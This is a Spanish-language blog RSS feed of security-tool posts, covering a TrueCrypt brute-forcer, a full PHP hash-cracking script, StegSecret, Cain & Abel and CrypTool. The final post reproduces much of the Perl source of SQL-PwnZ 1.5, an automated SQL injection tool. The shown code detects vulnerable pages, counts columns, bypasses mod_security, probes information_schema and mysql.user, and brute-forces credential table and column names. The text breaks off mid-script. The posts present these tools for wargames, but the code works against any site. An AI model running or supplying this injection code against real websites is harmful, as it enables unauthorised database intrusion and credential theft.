<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BrianUR &#187; Toolz</title>
	<atom:link href="http://www.brianur.info/category/seguridad/toolz/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.brianur.info</link>
	<description></description>
	<lastBuildDate>Wed, 01 Feb 2012 16:50:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Realizar ataques de fuerza bruta a volumenes TrueCrypt</title>
		<link>http://www.brianur.info/realizar-ataques-de-fuerza-bruta-a-volumenes-truecrypt/</link>
		<comments>http://www.brianur.info/realizar-ataques-de-fuerza-bruta-a-volumenes-truecrypt/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 16:05:45 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[diccionario]]></category>
		<category><![CDATA[fuerza bruta]]></category>
		<category><![CDATA[truecrypt]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1242</guid>
		<description><![CDATA[Antes que nada debo presentarles TrueCrypt para quienes no lo conozcan, es un Software que nos permite encriptar archivos haciendo uso de diferentes algoritmos de cifrado. Lo que más me gustó de este aplicativo es que nos permite crear volúmenes virtuales (como si se tratase de otro disco más en nuestro computador) que en realidad [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Antes que nada debo presentarles <a title="TruCrypt" href="http://www.truecrypt.org/" target="_blank"><strong>TrueCrypt</strong> </a>para quienes no lo conozcan, es un Software que nos permite encriptar archivos haciendo uso de diferentes algoritmos de cifrado. Lo que más me gustó de este aplicativo es que nos permite crear volúmenes virtuales (como si se tratase de otro disco más en nuestro computador) que en realidad no es más que es un archivo con <strong>extensión .tc</strong> el cual después de poner la contraseña correcta se &#8220;monta&#8221; para poder ser usado y así es mucho más sencillo y rápido administrar los archivos del mismo.</p>
<p style="text-align: justify;">En un reto que vi hace algún tiempo para un Wargame, había que realizar un ataque por diccionario a un volumen TrueCrypt y así fue que di con <strong>true.crypt.brute</strong>, que también puede ser útil en caso de<strong> olvidar la contraseña</strong> del .tc con archivos importantes. Eso si hay que tener en cuenta que se necesita un buen diccionario y que no es del todo efectivo el ataque, ya que como he visto en algunos casos de personas que usan 50 o más caracteres en su contraseña, haciendo imposible dar con ella usando un diccionario. Otro detalle es que el proceso es muy lento, hay que tener paciencia.</p>
<p style="text-align: justify;"><a href="http://www.brianur.info/realizar-ataques-de-fuerza-bruta-a-volumenes-truecrypt/tru/" rel="attachment wp-att-1243"><img class="aligncenter size-full wp-image-1243" title="true.crypt.brute" src="http://www.brianur.info/wp-content/uploads/2011/07/tru.png" alt="" width="626" height="346" /></a></p>
<p style="text-align: justify;"><strong>Descargar <a title="true.crypt.brute" href="http://securityvision.ch/index.php?option=com_phocadownload&amp;view=category&amp;id=1:security&amp;Itemid=54" target="_blank">true.crypt.brute</a></strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/realizar-ataques-de-fuerza-bruta-a-volumenes-truecrypt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHPCracker: Crackear diferentes tipos de hash con PHP</title>
		<link>http://www.brianur.info/phpcracker-crackear-diferentes-tipos-de-hash-con-php/</link>
		<comments>http://www.brianur.info/phpcracker-crackear-diferentes-tipos-de-hash-con-php/#comments</comments>
		<pubDate>Mon, 04 Jul 2011 11:43:16 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Codiguillos]]></category>
		<category><![CDATA[Toolz]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[diccionario]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[iod]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1228</guid>
		<description><![CDATA[Últimamente resolviendo algunos retos me ha tocado crackear diferentes hash y aunque existen muchos programas para esa labor (como Cain) estos no ofrecen soporte para realizar fuerza bruta a algunos tipos de hash. Por esta razón hice PHPCracker, un sencillo script que permite realizar ataques por fuerza bruta y ataques por diccionario usando PHP. &#160; [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Últimamente resolviendo algunos retos me ha tocado crackear diferentes hash y aunque existen muchos programas para esa labor (como <a title="Cain &amp; Abel" href="http://www.brianur.info/cain-abel-una-herramienta-todo-en-uno/" target="_blank">Cain</a>) estos no ofrecen soporte para realizar fuerza bruta a algunos tipos de hash. Por esta razón hice <strong>PHPCracker</strong>, un sencillo script que permite realizar ataques por fuerza bruta y ataques por diccionario usando PHP.</p>
<p style="text-align: justify;">&nbsp;</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php

if (defined('STDIN')) {
        if (count($argv) &lt; 2) {
            echo &quot;#########################################################################\n&quot; .
            &quot;#           PHPCracker UrbaN77 www.RedInfoCol.org  - www.BrianUR.info   #\n&quot; .
            &quot;#########################################################################\n&quot; .
            &quot;# Uso: php phpcracker.php [Modo] [Nombre del hash] [Hash] [Opciones]    #\n&quot; .
            &quot;# --------------------------------------------------------------------- #\n&quot; .
            &quot;# Modo: usa -b hacer un brute force o -d para un ataque por diccionario.#\n&quot; .
            &quot;# Nombre del hash: Por ejemplo md5, sha1 o cual sea el nombre.          #\n&quot; .
            &quot;# Hash: Hash a crackear.                                                #\n&quot; .
            &quot;# Opciones: Estas dependen del modo elegido.                            #\n&quot; .
            &quot;#  - Charset: min para minusculas, may para mayusculas   o all para las #\n&quot; .
            &quot;#             anteriores con numeros y simbolos (Solo para el modo -b). #\n&quot; .
            &quot;#  - Diccionario: nombre del fichero de tu wordlist (Solo para modo -d).#\n&quot; .
            &quot;#########################################################################&quot;;
            exit;
        }
        $modo = $argv[1];
        $tipoHash = $argv[2];
        $hash = $argv[3];

        function crackear($hash, $tipoHash, $charset) {
            if ($charset == &quot;min&quot;) {
                $desde = 97;
                $hasta = 122;
            } elseif ($charset == &quot;may&quot;) {
                $desde = 65;
                $hasta = 90;
            } elseif ($charset == &quot;all&quot;) {
                $desde = 33;
                $hasta = 126;
            } else {
                echo &quot;Necesitas especificar el Charset: min, may o all.&quot;;
                exit;
            }
			echo &quot;Crackeando...\n&quot;;
            for ($i = $desde; $i &lt;= $hasta; $i++) {
                for ($j = $desde; $j &lt;= $hasta; $j++) {
                    for ($k = $desde; $k &lt;= $hasta; $k++) {
                        for ($l = $desde; $l &lt;= $hasta; $l++) {
                            $salida = hash($tipoHash, chr($i) . chr($j) . chr($k) . chr($l));
                            if ($hash == $salida) {
                                echo &quot;Password encontrado: &quot; . chr($i) . chr($j) . chr($k) . chr($l).&quot;\n&quot;;
                                exit;
                            }
                        }
                    }
                }
            }
        }

        if ($modo == &quot;-d&quot;) {
            $wordlist = $argv[4];
            if (file_exists($wordlist)) {
                $diccionario = file($wordlist);
				echo &quot;Crackeando...\n&quot;;
                foreach ($diccionario as $rel) {
                    $salida = hash($tipoHash, $rel);
                    if ($salida == $hash) {
                        echo &quot;El password es: &quot; . $rel;
                        exit;
                    }
                }
            } else {
                echo &quot;El archivo &quot; . $wordlist . &quot; no existe.&quot;;
                exit;
            }
        } elseif ($modo == &quot;-b&quot;) {
            $charset = $argv[4];
            crackear($hash, $tipoHash, $charset);
        }
        echo &quot;Password no encontrado :/ intenta probando con otro tipo de hash, otro charset o diccionario.&quot;;
} else {
    echo(&quot;Necesitas correr este script desde la consola.&quot;);
}
?&gt;
</pre>
<p><span id="more-1228"></span></p>
<p style="text-align: justify;">El script hace uso de la función <a title="Hash PHP" href="http://www.php.net/manual/en/function.hash.php" target="_blank">hash</a> de PHP, soportando más de 30 tipos de hash como <strong>md5</strong>, <strong>sha1</strong>, <strong>whirlpool </strong>y otros. De momento solo funciona el ataque con 4 caracteres, se pueden agregar más for manualmente para aumentar el número de caracteres pero no es la mejor opción&#8230;  para la próxima versión prometo arreglar ese detalle utilizando recursividad.</p>
<p style="text-align: justify;">Gracias a PHP, PHPCracker puede correr en diferentes plataformas como iOS o Android:</p>
<p style="text-align: justify;"><img class="aligncenter" title="Cracking iPhone" src="http://a7.sphotos.ak.fbcdn.net/hphotos-ak-snc6/268429_10150230730472605_741872604_7402208_2082495_n.jpg" alt="" width="602" height="401" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/phpcracker-crackear-diferentes-tipos-de-hash-con-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>StegSecret: Herramienta para estegoanálisis</title>
		<link>http://www.brianur.info/stegsecret-herramienta-para-estegoanalisis/</link>
		<comments>http://www.brianur.info/stegsecret-herramienta-para-estegoanalisis/#comments</comments>
		<pubDate>Sat, 19 Mar 2011 20:15:02 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[criptografia]]></category>
		<category><![CDATA[esteganografia]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1181</guid>
		<description><![CDATA[StegSecret es una interesante herramienta para estegoanálisis de imágenes en busca de información oculta, comprobando diferentes tipos de técnicas comunes y patrones usados por programas como camouflage, inThePicture, inPlainView, steghide, dataStealth y entre otros más. Muy útil para wargames cuando necesitas saber rapidamente el tipo de tecnica de un reto de esteganografía antes de ponerte [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong><a rel="attachment wp-att-1182" href="http://www.brianur.info/stegsecret-herramienta-para-estegoanalisis/steg/"><img class="alignleft size-medium wp-image-1182" title="StegSecret" src="http://www.brianur.info/wp-content/uploads/2011/03/steg-300x215.jpg" alt="Herramienta para analisar imaganes" width="234" height="167" /></a>StegSecret </strong>es una interesante herramienta para estegoanálisis de imágenes en busca de información oculta, comprobando diferentes tipos de técnicas comunes y patrones usados por programas como camouflage, inThePicture, inPlainView, steghide, dataStealth y entre otros más. Muy útil para <strong>wargames</strong> cuando necesitas saber rapidamente el tipo de tecnica de un reto de <strong>esteganografía</strong> antes de ponerte a comprobar manualmente.</p>
<h2 style="text-align: left;"><strong>Programas y técnicas detectadas</strong></h2>
<ul>
<li>camouflage  V1.2.1,   inThePicture v2,  JPEGXv2.1.1,  PGE (Pretty Good Envelope)  v1.0, appendX v&lt;=4,  steganography v1.6.5,  inPlainView,  DataStash v1.5 y  dataStealth v1.0.</li>
<li>Programas basados en  técnicas EOF (End Of File).</li>
<li>Suporta los formatos BMP, GIF y JPEG.</li>
<li>Cuenta con una Base de Datos de Aplicaciones Esteganográficas &#8220;bdas v0.1&#8243; con más de 40 tipos de técnicas esteganográficas.</li>
</ul>
<p>En resumen una herramienta que no puede faltar en el repertorio.</p>
<p>Sitio web y <a title="stegsecret" href="http://stegsecret.sourceforge.net/" target="_blank">descarga de StegSecret.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/stegsecret-herramienta-para-estegoanalisis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cain &amp; Abel: Una herramienta todo en uno</title>
		<link>http://www.brianur.info/cain-abel-una-herramienta-todo-en-uno/</link>
		<comments>http://www.brianur.info/cain-abel-una-herramienta-todo-en-uno/#comments</comments>
		<pubDate>Tue, 14 Dec 2010 23:14:18 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[cain]]></category>
		<category><![CDATA[seguridad informatica]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=1007</guid>
		<description><![CDATA[Cain &#38; Abel es una de mis herramientas preferidas en entornos Windows, ya que dentro de una misma aplicación podemos hacer montones de cosas como recuperar contraseñas del sistema donde este instalado, entre ellas contraseñas Wi-Fi, de Internet Explorer, clientes de correo, Microsoft Access y más. También cuenta con sistema de crackeo de múltiples tipos [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a rel="attachment wp-att-1008" href="http://www.brianur.info/cain-abel-una-herramienta-todo-en-uno/cain/"><img class="alignright size-medium wp-image-1008" title="Cain &amp; Abel" src="http://www.brianur.info/wp-content/uploads/2010/12/cain-300x173.png" alt="" width="300" height="173" /></a>Cain <span style="text-decoration: line-through;">&amp; Abel </span>es una de mis herramientas preferidas en entornos <strong>Windows</strong>, ya que dentro de una misma aplicación podemos hacer montones de cosas como <strong>recuperar contraseñas </strong>del sistema donde este instalado, entre ellas <strong>contraseñas Wi-Fi</strong>, de Internet Explorer, clientes de correo, Microsoft Access y más. También cuenta con sistema de crackeo de múltiples tipos hash, en el que permite usar técnicas como fuerza bruta, ataque por diccionario y ataque por criptoánalisis. Otra de sus características más valoradas es que permite sniffear redes, permitiendo obtener contraseñas en una red, grabar conversaciones <strong>VoIP, </strong>entre otras. Ademas cuenta con decodificador de Base64, <strong>VNC</strong>, <strong>Cisco</strong> VPN Client y otras pequeñas utilidades.</p>
<p style="text-align: justify;"><strong><a href="http://www.oxid.it/cain.html">Descargar Cain &amp; Abel</a></strong> también puedes descarga una <a href="http://www.dragonjar.org/cain-abel-portable.xhtml">versión portable.</a></p>
<p style="text-align: justify;">El manual oficial lo puedes encontrar <a href="http://www.oxid.it/ca_um/">aquí</a> o este otro en <a href="http://comunidad.dragonjar.org/f152/manual-cain-abel-7394/">español</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/cain-abel-una-herramienta-todo-en-uno/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CrypTool: Una herramienta para Criptografía y Criptoanálisis</title>
		<link>http://www.brianur.info/cryptool-una-herramienta-para-criptografia-y-criptoanalisis/</link>
		<comments>http://www.brianur.info/cryptool-una-herramienta-para-criptografia-y-criptoanalisis/#comments</comments>
		<pubDate>Sun, 24 Oct 2010 22:22:50 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[criptografia]]></category>
		<category><![CDATA[herramientas]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=880</guid>
		<description><![CDATA[CrypTool es una de esas herramientas a las que uno les coge cariño rápidamente, yo la llevo usando hace algún buen tiempo para resolver retos de criptografía y me a funcionado de maravilla. Esta herramienta es usada para el aprendizaje de  Criptografía y Criptoanálisis, lamentablemente  solo esta disponible para Windows pero existe una alternativa llamada [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">
<p style="text-align: center;"><a href="http://www.brianur.info/wp-content/uploads/2010/10/cryptool.png"><img class="size-full wp-image-881 aligncenter" title="Cryptool" src="http://www.brianur.info/wp-content/uploads/2010/10/cryptool.png" alt="Cryptool" width="474" height="260" /></a></p>
<p><strong>CrypTool</strong> es una de esas herramientas a las que uno les coge cariño rápidamente, yo la llevo usando hace algún buen tiempo para resolver retos de criptografía y me a funcionado de maravilla. Esta herramienta es usada para el aprendizaje de  Criptografía y Criptoanálisis, lamentablemente  solo esta disponible para Windows pero existe una alternativa llamada <a href="http://jcryptool.sourceforge.net/" target="_blank">JCrypTool</a> desarrollada en Java, con la posibilidad de ejecutarse en múltiples sistemas operativos.</p>
<p style="text-align: justify;">Entre las caracterisitcas destacadas de CrypTool podemos encontrar:</p>
<ul style="text-align: justify;">
<li>Numerosos algoritmos criptográficos, clásicos y modernos (cifrado y  descifrado, generación de clave, contraseñas seguras, autentificación,  protocolos seguros, &#8230;)</li>
<li>Visualización de varios métodos (p.ej. César, Enigma, RSA, Diffie-Hellman, firmas digitales, AES)</li>
<li>Criptoanálisis de ciertos algoritmos (p.ej. Vigenère, RSA, AES)</li>
<li>Métodos de medida criptoanalítica  (p.ej. entropía, n-grams, autocorrelación)</li>
<li>Métodos auxiliares (p.ej. tests de primalidad, factorización, codificación en base64)</li>
<li>Tutorial sobre teoría de números.</li>
<li>Ayuda detallada on-line.</li>
<li style="text-align: justify;">Script con más información sobre criptografía.</li>
</ul>
<p style="text-align: justify;"><strong><a href="http://www.cryptool.org/index.php/es/download-topmenu-63.html">Descargar CrypTool</a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/cryptool-una-herramienta-para-criptografia-y-criptoanalisis/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SQL-PwnZ 1.5 – Herramienta para SQL Injection</title>
		<link>http://www.brianur.info/sql-pwnz-1-5-%e2%80%93-herramienta-para-sql-injection/</link>
		<comments>http://www.brianur.info/sql-pwnz-1-5-%e2%80%93-herramienta-para-sql-injection/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 01:25:48 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=569</guid>
		<description><![CDATA[Algunos deben recordar que anteriormente les había hablado de esta tool. Hoy me encontré en la web de Login-Root que ya esta disponible la version 1.5. Las novedades son: [+] Agregado mod_security Bypass. [+] Agregado Illegal Mix Of Collations Bypass. [+] Agregadas más tablas para bruteforce. [+] Agregadas más columnas para bruteforce. [+] Código interno [...]]]></description>
			<content:encoded><![CDATA[<p>Algunos deben recordar que <a href="http://www.brianur.info/sql-pwnz-herramienta-para-sql-injection/">anteriormente</a> les había hablado de esta tool. Hoy me encontré en la web de Login-Root que ya esta disponible la <a href="http://loginroot.diosdelared.com/?coment=6411">version 1.5</a>. </p>
<p><a href="http://www.brianur.info/wp-content/uploads/2010/07/sqlpwnz.png"><img src="http://www.brianur.info/wp-content/uploads/2010/07/sqlpwnz-300x210.png" alt="" title="sqlpwnz" width="300" height="210" class="aligncenter size-medium wp-image-579" /></a></p>
<p>Las novedades son:</p>
<p>[+] Agregado mod_security Bypass.<br />
[+] Agregado Illegal Mix Of Collations Bypass.<br />
[+] Agregadas más tablas para bruteforce.<br />
[+] Agregadas más columnas para bruteforce.<br />
[+] Código interno mejorado.<br />
[+] Bugs Fixeados.</p>
<p>Pueden descargarla desde <a href="http://sourceforge.net/projects/sqlpwnz/">aquí</a>.<br />
<span id="more-569"></span></p>
<pre class="brush: perl; title: ; notranslate">
#!/usr/bin/perl

##################################################################################################################
#                                  -[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-                                   ###
##################################################################################################################

##################################################################################################################
# [+] inf0:                                                                                                    ###
##################################################################################################################
# Busca:                                                                                                       ###
# ======                                                                                                       ###
#  - Nº de columnas                                                                                            ###
#  - Information_Schema &amp;&amp; MySQL.User                                                                          ###
#  - LOAD_FILE                                                                                                 ###
#  - Tablas                                                                                                    ###
#  - Columnas                                                                                                  ###
#  - Illegal Mix Of Collations Bypass &amp;&amp; mod_security Bypass                                                   ###
#                                                                                                              ###
#  ...y guarda todo en un archivo de texto.                                                                    ###
#                                                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] Use:                                                                                                     ###
##################################################################################################################
# perl sqlpwnz.pl [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS] ###
#   [WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]                                      ###
#   [COLUMNAS]: Limite de columnas                                                                             ###
#   [ARCHIVO]: Archivo donde guardar web vulnerable                                                            ###
#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                                                    ###
#   [-TB]: Intentar brutear tablas (Opcional)                                                                  ###
#   [-CL]: Intentar brutear columnas (Opcional)                                                                ###
#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                                         ###
#   [-MOD_FUCK]: Activar mod_security Bypass (Opcional)                                                        ###
#   [-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)                                         ###
##################################################################################################################

##################################################################################################################
# [+] c0ntact:                                                                                                 ###
##################################################################################################################
# MSN:    no.more@passport.com                                                                                 ###
# E-Mail: login_root@yahoo.com.ar                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] sh0utz:                                                                                                  ###
##################################################################################################################
# Greetz: KiKo ; VanHan ; [Dead] Knet ; Ricota ; InyeXion ; OxOnO ; Matt ; r0dr1 ; oceanik6 ; OzX ; yoyahack   ###
# VISIT: WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                                                         ###
##################################################################################################################

use HTTP::Request;
use LWP::UserAgent;

if(!$ARGV[2])
	{
		 print &quot;\n\n-[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-\n=========================================&quot;;
		 print &quot;\n\nUso: perl $0 [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS]\n&quot;;
		 print &quot;\n[WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]\n[COLUMNAS]: Limite de columnas\n[ARCHIVO]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-TB]: Intentar brutear tablas (Opcional)\n[-CL]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n[-MOD_FUCK]: Activar mod_security Bypass (Opcional)\n[-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)\n\n&quot;;
		 exit (0);
	}

@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','web_users',
	  'name','names','nombre','nombres','usuarios','member','members','admin_table','usuaris','web_usuarios',
	  'miembro','miembros','membername','admins','administrator','sign','config','USUARIS','cms_operadores',
	  'administrators','passwd','password','passwords','pass','Pass','mpn_authors','author','musuario','mysql.user',
	  'user_names','foro','tAdmin','tadmin','user_password','user_passwords','user_name',
	  'member_password','mods','mod','moderators','moderator','user_email','jos_users','mb_user','host','apellido_nombre',
	  'user_emails','user_mail','user_mails','mail','emails','email','address','jos_usuarios','tutorial_user_auth',
	  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','tbl_usuarios','user_auth','login_radio',
	  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass','tbl_admin','usuarios_head',
	  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','BG_CMS_Users',
	  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id','foro_usuarios','cliente',
	  'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin','dir_admin','alias','clientes',
	  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','calendar_users','cursos',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','web_users','curso',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup','leads','lead',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur','riacms_users',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users','tb_usuarios',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','tb_usuario',
	  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email','senha',
          'username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail','cliente',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','host','pws','cedula','userName','host_password','chave','alias','apellido_nombre','cliente_nombre','cliente_email','cliente_pass','cliente_user','cliente_usuario',
          'login_id','usr','sistema_id','author','user_login','admin_user','admin_pass','uh_usuario','uh_password','psw','host_username',
          'sistema_usuario','auth','key','usuarios_nombre','usuarios_nick','usuarios_password','user_clave',
		  'membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo','usuario_nombre','usuario_nick','usuario_password',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');

($host, $columnas, $savelist) = @ARGV;

$agent = LWP::UserAgent-&gt;new;
$agent-&gt;agent(&quot;Google Bot&quot;);

if ( $host   !~   /^http:/ )
  {
      $host = &quot;http://&quot; . $host;
  }

for ($numarg = 0 ;  $numarg &lt;= $#ARGV ; $numarg++)
{
	$argumentos.= $ARGV[$numarg];
}

if ($argumentos =~ /-MIX_BYPASS/i)
{
	print &quot;\n[+] MIX_BYPASS ACTIVADO&quot;;
	$hexin = &quot;unhex(hex(&quot;;
	$hexend = &quot;))&quot;;
}
if ($argumentos !~ /-MOD_FUCK/i)
{
if ($argumentos =~ /--/)
{
	$cmn= &quot;+&quot;;
	$cfin=&quot;--&quot;;
	print &quot;\n[+] Comentarios a utilizar: '--' &amp; '+'&quot;;
}
else
{
	$cmn= &quot;/**/&quot;;
	$cfin= &quot;/*&quot;;
	print &quot;\n[+] Comentarios a utilizar: '/*' &amp; '/**/'&quot;;
}
}
else
{
	print &quot;\n[+] MOD_FUCK ACTIVADO, se ignoran comentarios. Utilizando: '+'. Bypass: '/*!' &amp; '*/'&quot;;
	$bypass = &quot;+/*!&quot;;
	$cmn= &quot;+&quot;;
	$cfin= &quot;*/&quot;;
}

open(WEB,&quot;&gt;&gt;&quot;.$savelist) || die &quot;\n\n[-] Imposible crear el archivo de texto\n&quot;;
if ($argumentos =~ /-NOCHECK/i)
  {
      print &quot;\n[!] Se omite el chequeo inicial...\n&quot;;
      print WEB &quot;[WEBSITE]:\n\n$host\n&quot;;
  }
else
  {
      print &quot;\n[!] Chequeando si la web es vulnerable...\n&quot;;
      $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cfin));
      $response = $sql-&gt;content();
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ || $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/ || $response =~ /error de sintaxis al final de la entrada/ || $response =~ /Unknown column/)
        {
            print &quot;[+] Web vulnerable, continua el script...\n&quot;;
            print WEB &quot;[WEBSITE]:\n\n$host\n&quot;;
        }
        else
          {
            print &quot;[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario o con -NOCHECK activado\n\n&quot;;
	    close(WEB);
            exit(0);
          }
  }
print &quot;\n[!] Buscando columnas...\n&quot;;
for ($column = 1 ; $column &lt;= $columnas ; $column ++)
{
	$UNION.=','.$column;
	$inyection.=','.&quot;0x6c6f67696e70776e7a&quot;;
    if ($column == 1)
      {
          print WEB &quot;\n[COLUMNAS]:\n\n&quot;;
          $inyection = '';
          $UNION = '';
      }
    $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cfin));
    $response = $sql-&gt;content();
    if($response =~ /loginpwnz/)
      {
         print &quot;[+] La web posee $column columnas\n\n&quot;;
         $sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cfin;
         print &quot;$sql\n&quot;;
         print WEB &quot;$sql\n&quot;;
         print &quot;\n[!] Chequeando si existe Information_Schema...&quot;;
         $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cmn.&quot;FROM&quot;.$cmn.&quot;information_schema.tables&quot;.$cfin));
         $response = $sql-&gt;content();
         if($response =~ /loginpwnz/)
         	{
         		print &quot;\n[+] Information_Schema disponible...guardando en $savelist&quot;;
            $sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cmn.&quot;FROM&quot;.$cmn.&quot;information_schema.tables&quot;.$cfin;
            print WEB &quot;\n\n[INFORMATION_SCHEMA]:\n\n$sql\n&quot;;

         	}
         else
         	{
            	print &quot;\n[-] Information_Schema no disponible&quot;;
         	}
         print &quot;\n[!] Chequeando si existe MySQL.User...&quot;;
         $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cmn.&quot;FROM&quot;.$cmn.&quot;mysql.user&quot;.$cfin));
         $response = $sql-&gt;content();
         if($response =~ /loginpwnz/)
         	{
         		print &quot;\n[+] MySQL.User disponible...guardando en $savelist&quot;;
